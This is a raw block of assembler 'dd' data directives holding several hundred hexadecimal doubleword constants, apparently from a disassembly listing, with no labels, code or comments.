		dd 20DC0946h, 645A65A0h, 15A26E56h, 400CC9B4h, 0AE4425CAh
		dd 8CF02BF7h, 0C20FD320h, 94405583h, 3F010D4Eh,	37F18153h
		dd 0A03B7244h, 141FECCAh, 0C9017436h, 1BC37BABh, 4C3B2482h
		dd 0A4402BAEh, 6D2F33D2h, 20516694h, 0B9047DB7h, 216E3B8Bh
		dd 0FFF017EEh, 0A514530Fh, 0AF82D84Dh, 0E60F0B50h, 644194CEh
		dd 0CAF28952h, 0A2C7DDC0h, 40C751B5h, 283C19DEh, 27E93144h
		dd 0A99B09F9h, 86E527D4h, 0BF050DBCh, 0C1180F7Ah, 0C1DEE76Ah
		dd 6BDD4175h, 76A72AF5h, 0D3090A59h, 90FD51E0h,	96055919h
		dd 20D5A03Eh, 54580D79h, 89BAE14Bh, 6700A462h, 0C17E3D3Ah
		dd 6D805E2h, 0BF9CF5B6h, 557ADA66h, 0F3C9F8FEh,	280CF8EAh
		dd 5E4DAF7h, 0E58CD5E0h, 0B0B58429h, 1B277E0Dh,	0A073DE45h
		dd 0BB5A4A08h, 25E99928h, 0A77D5225h, 0A9D06EDDh, 9B85006h
		dd 1AFCEEBDh, 0B9011F76h, 1816656Fh, 1FCD0320h,	94675738h
		dd 841F9E9h, 33A23DDh, 0ADC2801Bh, 0C08D061Bh, 9EF2C8DCh
		dd 0F3B84EE9h, 72854026h, 6F8A430Ch, 5EF7D687h,	82EBE91Ch
		dd 51706B68h, 5A5307C5h, 0C354355Bh, 511F562Fh,	0D18429BDh
		dd 0B8B9091Dh, 87F67D04h, 0B182BB75h, 1F626031h, 6840A8A3h
		dd 0CF65544Ch, 1F7A9FE3h, 9DFC1AD7h, 0BA9621B8h, 433CBA01h
		dd 223B26ADh, 0A48C4267h, 6A4F5C8Ch, 72696F06h,	0B9212AFh
		dd 0EAEA028Eh, 80F7425Dh
		dd 8C5199Ch, 0E7DC25E9h, 50008D3h, 111D61F6h, 2DD02829h
		dd 0B87ABF07h, 0A4F0E916h, 3E17A1E6h, 846AE954h, 279048E9h
		dd 30518FB9h, 78DA54C9h, 3B0D6B16h, 7368D1F7h, 38AC29C1h
		dd 12F10161h, 31397445h, 2B093E5Ch, 4B665EC6h, 41891A5Dh
		dd 0E8057C60h, 0BABF1076h, 1A2EB65Ah, 0E414B08h, 9DD69CEh
		dd 0E3695D58h, 319F34CEh, 0B6ECFD5Fh, 0E581C1DDh, 6A09261Ah
		dd 98F66ED4h, 0B5084904h, 0F690FB4Ch, 5E39383Ah, 21FE9366h
		dd 212CFDC9h, 96F97C0Bh, 40CF8FF0h, 7E945F45h, 2DCA4988h
		dd 2AD784E1h, 0CB141806h, 0CDF095BFh, 0AF7DF932h, 0CD2B57EFh
		dd 7065DDF9h, 43A891D5h, 84DDE9E0h, 766A7BB9h, 0DB02173Fh
		dd 4703114Dh, 60B7BE40h, 497C25D0h, 6E98805Dh, 0C00936D4h
		dd 3416100Ch, 0F9510157h, 0BB0804F4h, 0EA3B778Bh, 0D761E24Bh
		dd 410EFEE4h, 0D3A12A9Ch, 122A1330h, 0B067C0Bh,	0A699C99Eh
		dd 0AAF57BC1h, 2116A63Fh, 1AD42F0Ch, 0B9431645h, 936951BEh
		dd 6D5ED18Eh, 0E54EF236h, 1A4E2E3Fh, 5AA6E9DEh,	5C60501h
		dd 0BF36392Bh, 80B3494h, 3725FD5Ah, 2E1FE1E4h, 0E9C2F2E6h
		dd 0F551773Fh, 9F9BB6BCh, 865D64C3h, 20050385h,	8161CA7Dh
		dd 31768F7h, 3251CC3Ah,	762E0814h, 809A3A94h, 0E181123Ch
		dd 50221615h, 4A6A9329h, 85CE8134h, 5F5A02EDh, 1F201296h
		dd 91DDEE3h, 0BBD2DED9h, 287EA320h, 39CDD0F7h, 0CE004005h
		dd 2D23A24Ch, 223A0863h, 9C3C8166h, 0C689BCD7h,	4713DC88h
		dd 93A2526h, 55453C6Bh,	34CB6C80h, 5E760764h, 4296C304h
		dd 0E4AB6A5Dh, 4D0B35AEh, 0E6557EF5h, 0A7E9122Dh, 99FDD4A5h
		dd 2878F5E1h, 695E2CD3h, 0FEF1100Eh, 0CC656616h, 0BDC791AAh
		dd 84D655AEh, 538BBADEh, 0CE5C5E7Dh, 0C6BD0041h, 0D10B310Dh
		dd 0FC297EDh, 8C9F1B75h, 66D85909h, 0E2081910h,	171FC4Fh
		dd 0F6C6FE1Ch, 0DAD080DEh, 0E9F31F88h, 0D0D7B0B9h, 0D39F505Ah
		dd 0EAE9E281h, 0B841A6Ah, 97C5347Dh, 0F0054BEAh, 5BC2CD7Eh
		dd 11955DEDh, 6FB5E904h, 0DAA241BBh, 0EF130F7Dh, 0ED7CE7AAh
		dd 0FDA00A89h, 139CBD9Ch, 0C8D854BAh, 8AB3064Bh, 0EB93AE5Ch
		dd 0FA7C682Dh, 4B68D38Bh, 51954E2Dh, 3DD48901h,	52C2D65Ch
		dd 0AFF918BAh, 35227682h, 84C7A936h, 8AA0F2E9h,	0D23E50B6h
		dd 59ACB896h, 5F0507C0h, 0A2499868h, 0D8045CB2h, 3F03F66Ch
		dd 0CDCC4638h, 3B0C9340h, 648B63Dh, 0CB58EA05h,	801CC247h
		dd 3C39F208h, 4271ADDDh, 0CEB655C4h, 5FC4E917h,	63851290h
		dd 0BB7D18CDh, 97E90B81h, 0D619C94Ch, 38695323h, 248F68F9h
		dd 0C4FC337h, 0C9C671F9h, 0F2292F31h, 0E90F8C2Ah, 1649D75Fh
		dd 7EC15FEBh, 75512001h, 9BB7440h, 20A99FA4h, 53593B80h
		dd 9FA126A6h, 0C49E0795h, 348AF683h, 0F70F277Bh, 0E14B6230h
		dd 0B0C8B3CBh, 0B10BABFh, 3115356Ch, 0D1D00AFFh, 0B64C8570h
		dd 927869D9h, 35009177h, 42E28120h, 1245E877h, 0E8647CE9h
		dd 8CAAD2A6h, 8A408B7Eh, 0F8892758h, 0C6A12FEh,	4E03770Ah
		dd 0C99F7E49h, 0BDB01455h, 21F39946h, 7E57EE8h,	81EE643Bh
		dd 1096D553h, 0BB75351h, 5BF988D1h, 0E5A382FDh,	58DF90F1h
		dd 2D649D29h, 6473E827h, 4E57795Bh, 0B8310728h,	69B78036h
		dd 33682D40h, 3F02E80Dh, 0DC1EAF22h, 0B008A067h, 0C1AE40EBh
		dd 2703EA3Ch, 5182E090h, 0B3C504B5h, 0AAEB300Fh, 9D65A104h
		dd 2F39EB12h, 0E6BAA4E7h, 90C58C7h, 0DD9DC1E9h,	6277083Ah
		dd 9231FF07h, 82CA6AC3h, 0BB68E062h, 0C1A29FDBh, 0E9AF7E95h
		dd 32C7444Eh, 55091168h, 5201F234h, 4BAF6856h, 12F30C8h
		dd 37B45399h, 751D3FCFh, 9A09E9C5h, 71AE8D57h, 62675F1Bh
		dd 0FC1D718h, 3D7A1DB1h, 943E6D7Ch, 34C107F9h, 0F6C3604Ah
		dd 10D31C5h, 34D1E982h,	599D5B86h, 5A73DC8h, 0DB32040h
		dd 1F27349Ah, 1ECCD9C7h, 0B614495Ch, 58C11A9Bh,	0C5B1806Eh
		dd 981FBAB4h, 7BE85C01h, 0BB0F6520h, 605D5564h,	333F381h
		dd 0DF25599Dh, 565BC303h, 0D9F824C0h, 0EC585DE9h, 620F8019h
		dd 0E81768Dh, 0CA14E7F5h, 5DEA2103h, 0F1FCEA28h, 0D701EF0Fh
		dd 0CCCBF38Bh, 0E9178320h, 2AEDFE25h, 0E702EE3Dh, 0F389132Dh
		dd 47FAF2CBh, 0BE00DD09h, 0C6685B35h, 48BE0953h, 88570BEFh
		dd 634784E2h, 0BDA012BEh, 7E89753h, 90168F8Dh, 0F6163F58h
		dd 0C624E0D2h, 0C42F7D41h, 4D4AC211h, 2D30C50Ah, 281F05B8h
		dd 12E222AFh, 0F3526C3h, 0DB00C6BCh, 822DD518h,	5CA10724h
		dd 705F00Ah, 0CD41EB20h, 900C7441h, 0A6D2EC69h,	90EC5EAEh
		dd 8BABE5h, 81856617h, 173F956Ch, 2F6E7BFBh, 7844EF19h
		dd 189890C9h, 0EB8DC8E6h, 0B33A1EA3h, 698CCB19h, 5924B76h
		dd 4EF84EAh, 0CDD3EFC8h, 9BD1204Bh, 1270BD80h, 0C537C067h
		dd 0FA8CEA5Eh, 27759E8Eh, 60BE5FCh, 9417B353h, 405FF922h
		dd 265B745Bh, 404803h, 75FA42C0h, 8C5F4DE9h, 411A2B2Ch
		dd 618B3AE5h, 40A11240h, 3B7F7E0h, 93122FDDh, 0E419EA0Dh
		dd 15C51E98h, 0E14E1368h, 22C709B6h, 0DDEE92EAh, 82216B25h
		dd 61323ED3h, 0BFBECA9Eh, 96DD52F8h, 7CB92060h,	0C520B098h
		dd 0A2B80481h, 0FE2B330Bh, 0BF4C491Fh, 0D1A40h,	38317BAFh
		dd 92B73F35h, 72546E7Fh, 782D6893h, 9643982Dh, 0EBE98018h
		dd 544ABA92h, 6BBF39EAh, 0E9166BA6h, 8C4654F6h,	0AFB12C24h
		dd 0CB4EC4Dh, 0E93268EAh, 4CA3492Fh, 62F4F468h,	23D3BBDAh
		dd 28656DF6h, 255AAB43h, 6F328712h, 700F740h, 7E1E38A3h
		dd 0C71756EAh, 1AEC61DDh, 1248B6E5h, 7FF9876Bh,	1DD8D68Eh
		dd 5B80452Ah, 975C9A59h, 882A2930h, 2636BD80h, 1E01F15Dh
		dd 0A876C1EDh, 6845E91Ch, 0E2BE02FBh, 8E70EA6Bh, 491D63F6h
		dd 4BE6B038h, 2C7C5D59h, 52D9E9C5h, 0BDC2EFB2h,	4F29DDBEh
		dd 0FCA902F7h, 69E5DFD0h, 96101411h, 0E1C1163Dh, 0C652F01Eh
		dd 0AE674529h, 29337D30h, 213359CAh, 76E134D7h,	0D8482785h
		dd 0EEC4D271h, 0BCD25734h, 31E9F1A3h, 8E2B3625h, 0F3BC10A3h
		dd 69C89776h, 18BF5971h, 80F64C07h, 0D0B5EA88h,	849CC4D8h
		dd 83E889C9h, 531F95Ah,	2A0C0577h, 0EE8E08BDh, 14678816h
		dd 0D1D306E2h, 322E3CCEh, 88528183h, 0D0D6F6E6h, 5EB45AF4h
		dd 0B3518549h, 0B501E0C9h, 0AC023CE1h, 0FD0FE678h, 0A4B3C680h
		dd 2B9CDFA5h, 48175D11h, 562DBFDEh, 425A66F6h, 0B5B3D441h
		dd 7CBFA90Dh, 193C6B02h, 0C2DD0176h, 29080615h,	0B4A4DCE4h
		dd 5FD281C9h, 565C0148h, 0E84FDF4Fh, 91E9B1C2h,	0B56C0E3Eh
		dd 700008B2h, 0F334CC2Ch, 0EBBE12BBh, 0C55BCE28h, 0EE3FE945h
		dd 3B3FA754h, 0C0A6A550h, 889CB569h, 772E8CC9h,	73E3AC3h
		dd 0F26B2151h, 27CA7B53h, 905AEE23h, 631D03BDh,	0C5571ED9h
		dd 56AD121Fh, 5360F04Dh, 7226680Eh, 835B465Dh, 11E65Bh
		dd 571AB720h, 1D6414BFh, 0EF876305h, 5287D5F7h,	7A08FD26h
		dd 4E085CC1h, 1F7D2612h, 0CBFBD7CFh, 5C6110F1h,	0FDCABF2Fh
		dd 0E9AC4375h, 0B76F3BD7h, 0C9114D7Ch, 0C176C901h, 7DBD2D81h
		dd 0C645135Eh, 302D2DF6h, 274F7640h, 64FC12B2h,	1A39B941h
		dd 0F1881C2Bh, 30CB290Bh, 0D1BFDE19h, 0BAD62DFEh, 726857C0h
		dd 23A932Ch, 34F644FDh,	6ABC3360h, 0E94C7304h, 31C880F5h
		dd 0C56CF040h, 9C5B51ABh, 82416069h, 5353B12Bh,	2F7F558Ch
		dd 800B506Eh, 0DA69F3B8h, 5D62F620h, 2D05F5D6h,	0EC070EEAh
		dd 7052809h, 0E73EFCBBh
		dd 2C2419Eh, 9D826970h,	44C7156Bh, 3BDF6882h, 0BEADD1A2h
		dd 5FF18000h, 0DA8EA308h, 13CED8A9h, 0F8347068h, 0C805C47Dh
		dd 0BCE82C04h, 3BA3A465h, 1C40293Eh, 2F8FE6BFh,	33F438B6h
		dd 0B0278B1Eh, 95772C42h, 0C8E9D6D8h, 0B5015138h, 0E9DDF63Ch
		dd 903B95D1h, 0F381050Ah, 375AE40Bh, 0A24B60ADh, 0AAA983C6h
		dd 92F56C3Ah, 53ACCBEBh, 5D944C2Eh, 0BF215BD2h,	0B02A87DDh
		dd 415B770Fh, 0BD880131h, 4BD4EC05h, 0F384DBFDh, 0C95B0E6Ch
		dd 0BB40D65Ch, 0EB8109F2h, 6B0751DCh, 0B90AACC3h, 0E9CB09A0h
		dd 27E8FE25h, 5288A677h, 58F6617Fh, 0A1872CD0h,	0E98036D2h
		dd 76423BB9h, 0E11E8160h, 4647490Ch, 0D65CD1F7h, 6F7B168Ch
		dd 612BFC2Bh, 0D1015DBFh, 0AC8A4120h, 51EB8A35h, 302E4AD9h
		dd 0BA77FB52h, 0F80B4D6Bh, 0D30106D9h, 4F7E4EE9h, 0AB13EB1Ch
		dd 0A9B1A4D3h, 57875F2Ah, 0E452AAEEh, 382C5AEBh, 682E5C57h
		dd 5600FF01h, 5D06461Fh, 8208C417h, 535B0459h, 45952B03h
		dd 8C32FCE1h, 870E310h,	186B636Ch, 81092B6h, 4C10DA84h
		dd 417331CDh, 88C5AB7h,	1D18A460h, 62AB6E40h, 12191063h
		dd 3999A02h, 818A3BFh, 24186BD4h, 35DB80CFh, 0EBB010C4h
		dd 45CAC04h, 4F06B865h,	0B03108BCh, 6268186Ah, 19A7601h
		dd 89013B87h, 0D9088C2Ah, 40A318EDh, 5441F751h,	0D9034AE9h
		dd 0CBC24910h, 101C3919h, 0AC8451E2h, 71188C89h, 62260894h
		dd 0B7D61896h, 3A80A02h, 810AA0Ch, 582A829Ch, 0C4419884h
		dd 674E530h, 20102103h,	6831FAE1h, 23C4086Eh, 1F9188Ch
		dd 7440F208h, 618A4033h, 7728FE62h, 0E3480344h,	4E401010h
		dd 0B8820415h, 53088533h, 0E422A12Ah, 8184B854h, 0B1085266h
		dd 7FD82091h, 0B780AF79h, 8CDB81D7h, 8784F39h, 37874095h
		dd 0F720EA63h, 57083175h, 988CFBB9h, 7D095210h,	1821C880h
		dd 0A1082D98h, 2C18C4BFh, 0C10E0681h, 56082010h, 8140F31h
		dd 1888C9A2h, 8D081A37h, 5CFE0886h, 0B8987E0Ah,	0E9188F98h
		dd 9608CA0Ah, 0E17D98C4h, 8C677FAh, 20204185h, 0E331F678h
		dd 7F91102Eh, 88B2C901h, 8E84E08h, 30CB3FEh, 88F42815h
		dd 10C483A1h, 0D106B4A9h, 1120087Eh, 2C8C33CFh,	0B1315120h
		dd 0A5364902h, 0D64A0888h, 2033070Ch, 0AAD4A8BAh, 0E908C98Dh
		dd 44118025h, 649D5F0h,	0E110EF03h, 0D6082AE7h,	4B09318Ch
		dd 8CD82510h, 18680108h, 86C63C0h, 1810F3F8h, 8D100EC1h
		dd 0DC432461h, 2067A78Ch, 0C61E40EBh, 0B310F165h, 405B9846h
		dd 7D923108h, 885D2B18h, 15E01708h, 0C97C80E3h,	6C226661h
		dd 1603DB78h, 0AD08107Ah, 41873149h, 550192C5h,	9C860463h
		dd 0AFA03340h, 82AC0C9h, 0B63294D2h, 288217Eh, 2F02F4DDh
		dd 5C1F0242h, 0B8927204h, 0CA8CA214h, 0ABD8A403h, 0C359400Ch
		dd 54409D4Dh, 90405C68h, 0BCBCA928h, 9C60C850h,	0A4E84CFCh
		dd 192FA897h, 0C7B74876h, 0BC8E93E3h, 2C473B00h, 17B00275h
		dd 0B90E8963h, 3D7AA7h,	8F440105h, 0C90B4940h, 8BF7750Bh
		dd 16E85874h, 0AAF003DEh, 0C033A321h, 30B10FE0h, 0AC2C304Fh
		dd 4660C3E9h, 6C83051Eh, 0B5E75A9h, 79DC2C03h, 7208B74h
		dd 665C686Bh, 66080169h, 0FA871D17h, 810DE9E9h,	3E1056Ch
		dd 70E86BC7h, 1332DFDFh, 6075CDEBh, 0E6FFE489h,	22AF4055h
		dd 3AC20618h, 464B1AE9h, 41F95C4Ah, 6E7EFB89h, 5108E9C1h
		dd 7CB80A82h, 60FFB0CEh, 161240FCh, 0E129440Fh,	0AE0804F4h
		dd 0DBC1CF60h, 64E43B5Fh, 2B59E902h, 0F9C378FAh, 0F4081C41h
		dd 949FF144h, 59CD25A3h, 4216BEFEh, 0FCCA3B8Ch,	0C1211298h
		dd 0BD4600E9h, 6810357Ch, 789F2979h, 2C1D0C4Dh,	0A37814BAh
		dd 0CBD59D3Ch, 3A358BB0h, 4AAE71DEh, 0E7881670h, 0E8C109C0h
		dd 12817F0Ch, 472371E9h, 0C2F32594h, 4F84EA89h,	1903F7D1h
		dd 0AC0AB1CDh, 5F27C13Fh, 1F306E6Fh, 3C280C5h, 0E9AA2C4Eh
		dd 1F02ACDBh, 0FD685DEEh, 63F47C3Fh, 7A4E3A90h,	4B17238Bh
		dd 0E76CA8B1h, 577C6CE2h, 0DB971F44h, 0B1E9C1C8h, 0A32C00CAh
		dd 66E82E28h, 3EFC0DCFh, 60A10016h, 0F3F436FBh,	71900B69h
		dd 7552450Fh, 1481BA33h, 8D2B2C87h, 74B9C3CBh, 17A02F0Bh
		dd 0DD6F4E23h, 0BEE72ED0h, 0F155E892h, 372A7C68h, 17208251h
		dd 5666B2FCh, 0C20C64ECh, 97C1BB5Bh, 0F2418ECAh, 2C81EE46h
		dd 9A74C9BFh, 0C2EFE944h, 73BF208h, 7DA43D35h, 0B7B5C4C6h
		dd 339800C7h, 4B85E980h, 99D3B295h, 0EB6C508Dh,	0B27558A2h
		dd 50CB800Ah, 0B5188710h, 50097F0h, 8103B672h, 271CFEF3h
		dd 297632F9h, 8F1762Dh,	5E17A777h, 54501191h, 0CF65F26Eh
		dd 4A09A5BEh, 621BBAC7h, 77C4237Dh, 283F7B3Ch, 0BF0B5098h
		dd 2111DA04h, 8F7FFD93h, 0F22F7F92h, 79794419h,	366817F7h
		dd 91FC8D10h, 0F9477046h, 67B8E982h, 98F927ABh,	41A2E970h
		dd 0D021D8E8h, 5B5AD5C9h, 51D830ADh, 4951D0E9h,	921C20F6h
		dd 0F569FB00h, 17605405h, 7D429768h, 0EB590705h, 10B94E03h
		dd 0D2E9E0A2h, 0ED3FC318h, 3BE20215h, 0DF4EC255h, 0E29D9546h
		dd 0D133A0A4h, 4C3A6043h, 4B26E809h, 6D56A504h,	86B07DE9h
		dd 82826C2Fh, 0AD26858h, 0FAAF08D5h, 5AE57227h,	0E91C3CD5h
		dd 264A6349h, 3C19135Dh, 5C62BDB6h, 1F0EBC5Fh, 5D270F09h
		dd 0F55503B1h, 0C0847B5Ah, 0F785C9BDh, 82C320B8h, 18096C32h
		dd 0B308CF68h, 0A488266h, 3E760271h, 0B879684Eh, 69FCD6A7h
		dd 8EA404h, 0FB672505h,	91595B3Eh, 0C352C530h, 8E08F884h
		dd 0FF32A081h, 2FE9BE63h, 0A35E0F95h, 0CCC689E2h, 0E959094Ch
		dd 2B1AAF03h, 0EE9760F4h, 0CBFE2585h, 3F5C26A9h, 0AED006C9h
		dd 3B9012Ch, 8132BD7Fh,	0CE16D7E1h, 8BC55521h, 0AC09FFBh
		dd 8E2FE5E9h, 165DC181h, 34604B42h, 0B916C020h,	3B360A31h
		dd 44A820C1h, 0F06F5830h, 265330Fh, 82805624h, 2D3116Bh
		dd 41A7BE47h, 80F7FBF7h, 9DF681EDh, 16201F3Bh, 0C15E0221h
		dd 1EC002EFh, 4AE68505h, 7EFC8958h, 102AD348h, 0BC5E5EC4h
		dd 1EC5042Eh, 41AA0BFDh, 0B30FC71Eh, 0EE292067h, 900A5049h
		dd 56B64AA6h, 0A416542Ch, 0E83422Bh, 0CB8D3104h, 8103A7ECh
		dd 57427F5Bh, 8220478Fh, 93B94D5h, 0CB97007Fh, 0BDD41611h
		dd 0D701BD80h, 9A4FB2E9h, 517F76A4h, 60DA8A2Ah,	0C3A372F9h
		dd 43A341Ah, 88C4ABE5h,	0F55CE4E0h, 2FAE84C3h, 6AFD5F74h
		dd 21685AC1h, 35752365h, 3F661B54h, 0FEA6CB07h,	105B0E8h
		dd 5D06CE25h, 3408B408h, 79FECD2h, 33125E7Dh, 7F256E3h
		dd 1C5F2138h, 0FAD4925Bh, 2E787E76h, 2A3F3F3Ch,	3A1DF50Eh
		dd 7E7E4CA9h, 4F60CD81h, 0C06E1736h, 5ABEEDD3h,	210E167Dh
		dd 8910E9EBh, 0A210A201h, 0A8C77772h, 480F2026h, 0E9608273h
		dd 9206BE8h, 23EE81C0h,	0EC118104h, 146B51Eh, 983417D8h
		dd 57061483h, 0A318F3ABh, 0C5BE161Fh, 2AC44173h, 4BFB974Eh
		dd 0C8296B1Fh, 0D6374E55h, 5BDC8B6Ah, 4872FDACh, 0B75A0918h
		dd 0CB8B3B4Ah, 5CC0E0F2h, 13AAE954h, 0D58834C7h, 49DC8072h
		dd 0F977C35Ah, 281EA918h, 5A266658h, 550AE82Ch,	0D0988A06h
		dd 1285F14h, 19B151C8h,	0CDB9E980h, 0EEF671F1h,	4C2C5E90h
		dd 1E1385A0h, 0B6BCD39Ah, 4FBBB143h, 0C1F08014h, 0BF0CA9ACh
		dd 34CF29DDh, 5F1D403Bh, 6B88A59Bh, 0BE4287Dh, 35E30698h
		dd 639E9657h, 2245BA31h, 0F2680E09h, 84B0DB74h,	927B7CE9h
		dd 0AC7CD5C5h, 9DB4D602h
		dd 26055B1h, 5B00580Dh,	2D482C6Eh, 4823E096h, 43E05336h
		dd 4503F339h, 4B125905h, 0C6424C17h, 6D0BC125h,	5997269Eh
		dd 0BABE8086h, 0E90B9A2Eh, 5ACC0C5Dh, 28C4A4E2h, 0BCE9020Bh
		dd 3C257F25h, 0BB1595F0h, 451760CBh, 16286454h,	60F2DCD1h
		dd 93F44E3Fh, 2709FB09h, 4AB37473h, 6BD82D07h, 0FEC28012h
		dd 6C680642h, 458F562Bh, 2D34430h, 40B4071Bh, 5D45A572h
		dd 274277B2h, 0BE363475h, 209F4259h, 97E0302Dh,	4B429408h
		dd 0FDF032F7h, 0B9245944h, 99A80257h, 6B0A252Ch, 47C3AD81h
		dd 0C07A297Fh, 61C2E1FBh, 41304524h, 8AEEDE00h,	9D5F51FEh
		dd 1A023170h, 890ECC2Fh, 0FD59BAF8h, 50703D81h,	0FDB53F37h
		dd 0FF580802h, 32DD2D3Ah, 0E0C158FFh, 51F509BBh, 7AF014D6h
		dd 4CB48649h, 0A6951B21h, 2F79E069h, 0F40D7B7Ah, 0B76EBA4Dh
		dd 55F28F00h, 767E9271h, 70585F38h, 8BCF0B94h, 0F4C8AC2Dh
		dd 654703C7h, 0EF2973B3h, 8508C441h, 327FD11Ch,	29FD3B81h
		dd 696D62Ch, 46F4A8D2h,	62ACDC97h, 696AB030h, 0FB16B460h
		dd 1C80B6BEh, 94E0848h,	0E46FFFC6h, 687982AEh, 9EC46EF7h
		dd 66F4582h, 0C00B5EB9h, 0F6566810h, 0A10AE4AEh, 3710F87Eh
		dd 92FD7C6h, 1DF10A3Bh,	3E30C54h, 0F3ABE213h, 9DB5361Ah
		dd 62005F49h, 5281EE7h,	3E26187Eh, 9AB3BF19h, 0FE269F31h
		dd 41F87809h, 2E8E27C7h, 74AD2362h, 51EE8020h, 5A6E3FB9h
		dd 4B185958h, 0A45D32B4h, 80B04FF5h, 43E4BE03h,	8FB551F4h
		dd 0FB39AA01h, 988C0725h, 0BA5E306h, 174F2762h,	0A9A07CFEh
		dd 1EFBC01h, 6BE7E9FEh,	68E5D582h, 0AC797DE8h, 130AA282h
		dd 8A0C403Ah, 25802E30h, 0C5DC00D8h, 37E9E06Ch,	7B32E369h
		dd 56F88916h, 0E4B51CEEh, 435F357Eh, 0B36DE0ACh, 0A05BFE40h
		dd 0F2485280h, 0ACE19733h, 6E42E49h, 585A0DF1h,	611A47FDh
		dd 0ED9530B4h, 52444F32h, 0D2BBFE22h, 0C4B41160h, 0BB85E80h
		dd 49F757D4h, 686809D7h, 4870E931h, 55859860h, 0F8DDCDA0h
		dd 0EC978131h, 94E18139h, 0D29FA32Ah, 4D961BB4h, 0D4515791h
		dd 80A0A738h, 0DE9D0DC3h, 10E53A18h, 50428E27h,	8D60A4A4h
		dd 2067B80Ch, 35393CB9h, 23B13680h, 98685756h, 29AD4812h
		dd 5E76FC80h, 0E0334FA5h, 0F058314Bh, 0DB01B5ECh, 3E4E61E5h
		dd 1C203D31h, 0E13C9E16h, 6E103368h, 4225368Dh,	1CA86D38h
		dd 55993EC9h, 0E9096D45h, 0B79ADF6Ch, 13C3F58Fh, 2EF1485Fh
		dd 851CAFADh, 74C18DC2h, 5A0223B8h, 0F1BDF26Ch,	57E95066h
		dd 243DEF96h, 0C30120EBh, 0FC69B993h, 0C4C3D12Ah, 8FC3A0A8h
		dd 95B7F8B7h, 87F93510h, 988027B8h, 452830EAh, 1527CA1Ah
		dd 0EB1C54ACh, 292DA3DAh, 4406515Bh, 4F8BBFF3h,	5F1C8710h
		dd 46417580h, 11D12C9h,	6AF009F0h, 507BDD0h, 4C273038h
		dd 800A6951h, 51D8AD30h, 8AD6072Dh, 0B31D5211h,	95C14E0h
		dd 6120AAC0h, 0E66F5097h, 28422768h, 339A17DBh,	26507B6Fh
		dd 1EA21E43h, 2552A7D3h, 0A51DEC27h, 0D3C5E3C8h, 2EC77D80h
		dd 6F065C22h, 0C5AF71Dh, 761801C6h, 0E9BAFE1Fh,	65A9EE00h
		dd 0F5290A09h, 940703E4h, 5AD70244h, 37F6E7C1h,	0D3CAA414h
		dd 23F82509h, 98C8F49Ch, 9F3047ECh, 595D0E62h, 0CD8070DAh
		dd 0EDC04401h, 0CEB35305h, 26ECF3E4h, 2843DD30h, 0C9FE28A7h
		dd 0E6067E98h, 0EFC8E0CDh, 5D1169F6h, 426407Ah,	29550B05h
		dd 200F215Ch, 34576620h, 0EB1C8351h, 77407534h,	2C68F329h
		dd 67F69E47h, 59C1D6E9h, 0A9A4D2A7h, 0F23DDF11h, 0B9E7298Bh
		dd 328B80FEh, 0E194FFC2h, 0FA29594Ah, 427CC82Ah, 9EADF441h
		dd 0A82DFFC4h, 164ED23Ah, 80F822EDh, 46E9CBBh, 0DDBD09Fh
		dd 1658189Fh, 217CF40Eh, 0C1D6830h, 4B9B44E8h, 0C70BAF2Bh
		dd 0C5B9422Dh, 6056AE77h, 49E9C331h, 4E8A1E53h,	72680D78h
		dd 7CD3B729h, 0D320F9EDh, 0C61BCE39h, 905A05E5h, 0A3090AF4h
		dd 2CFE1D4Bh, 65BD59B9h, 8E322518h, 0EC6836A1h,	37CB2E1Bh
		dd 0F8051448h, 0C97BC87Ch, 0AA0804E9h, 19BCCB12h, 60AC3D4Bh
		dd 0AF4A223Ah, 3BE15931h, 4CCE3648h, 0FF4B5CF1h, 1AC7811Eh
		dd 6EA41517h, 0FC680AA0h, 70EFA86Ah, 0E9A5B483h, 0E54E315Fh
		dd 9F59166Ah, 55AE6020h, 0BF0C411Ah, 24084CA8h,	52E008A5h
		dd 28064926h, 9D067A5Fh, 6A4505E0h, 0E6014222h,	474E17EAh
		dd 0DB570167h, 400B3D02h, 0A0FA709Eh, 17EA824Bh, 3B2DBB38h
		dd 0E9A8802Eh, 12B43CC0h, 0FA6DF481h, 63205E0Eh, 5B50008Fh
		dd 0E9E5D107h, 43BCA7EDh, 484F9349h, 1D189759h,	0D4E1F527h
		dd 1F476B17h, 0EAB654BEh, 640E3B25h, 975CA2A9h,	2030E527h
		dd 116826DCh, 0BB53605Bh, 8D303414h, 0CBF0941Ch, 0E9E30C72h
		dd 0F728D563h, 7342D224h, 927582Dh, 499933FCh, 567F8C04h
		dd 254DF40Fh, 0DBB97DBBh, 0D1257113h, 79A6C849h, 396D0060h
		dd 0EEC1416Bh, 30467F04h, 681E2F26h, 4A2937CEh,	0F66BA77Ah
		dd 352D00FDh, 520BFA51h, 213BBA01h, 0CA816AA1h,	4EFB34E8h
		dd 1A2EC14h, 740C18E5h,	0C241D009h, 4681A2AEh, 0C828CB2Ch
		dd 0EC5DD204h, 6DDA228Eh, 8B56BB81h, 0D77B0BC2h, 0F4A0151Ch
		dd 8C9C5566h, 633C8661h, 0DA644A31h, 945613AAh,	1435F922h
		dd 190A6850h, 8262958h,	2E9EB84h, 0C531075Ch, 0E1EF89F2h
		dd 5B00C6CAh, 74005F0Dh, 0E8C16AFAh, 16AC3507h,	0C945F79Ch
		dd 42F12090h, 490AB3A4h, 945F6B11h, 610A2B12h, 451E9403h
		dd 242630FBh, 5B0E06C7h, 0AE81C411h, 1B3094C6h,	0A49A345Bh
		dd 7A1CE9C8h, 5607CFA8h, 5F62751Eh, 903EC7C9h, 6E06D125h
		dd 13C1FA0Ah, 76461F01h, 0B7F44E39h, 60964DC9h,	23D8311Bh
		dd 73F1FBD9h, 162E78E9h, 0DCAFADDEh, 0E9E8F3FAh, 8C3A7AA1h
		dd 0A7F1B639h, 8DF80916h, 0E106BCCBh, 31AF224h,	4A0CF01h
		dd 60825908h, 34BB001Ah, 384BDD5Eh, 0B2688EA1h,	0DB9C5037h
		dd 0FA93796Bh, 858D7A3h, 0BDB76012h, 13A37848h,	8DEE29E5h
		dd 0E9D07A7Eh, 642D0BD9h, 0A7C77077h, 0B5404CB2h, 0FA2EC0FAh
		dd 0A084011Eh, 824041DCh, 0FE206164h, 0A62BED07h, 0EBC10EADh
		dd 79037705h, 73795E9h,	86D7F648h, 0DF5A92F9h, 0B2CCEFDh
		dd 72E0685Eh, 0AE5A92F2h, 0C2A77AACh, 87FE73B0h, 0D9716B62h
		dd 6855C034h, 0CC2D2099h, 4AB7597Bh, 1B2F07A8h,	0B65CFB50h
		dd 1C3BC702h, 0EF5CC0F7h, 0BB70E756h, 55D24CD4h, 52FB01C3h
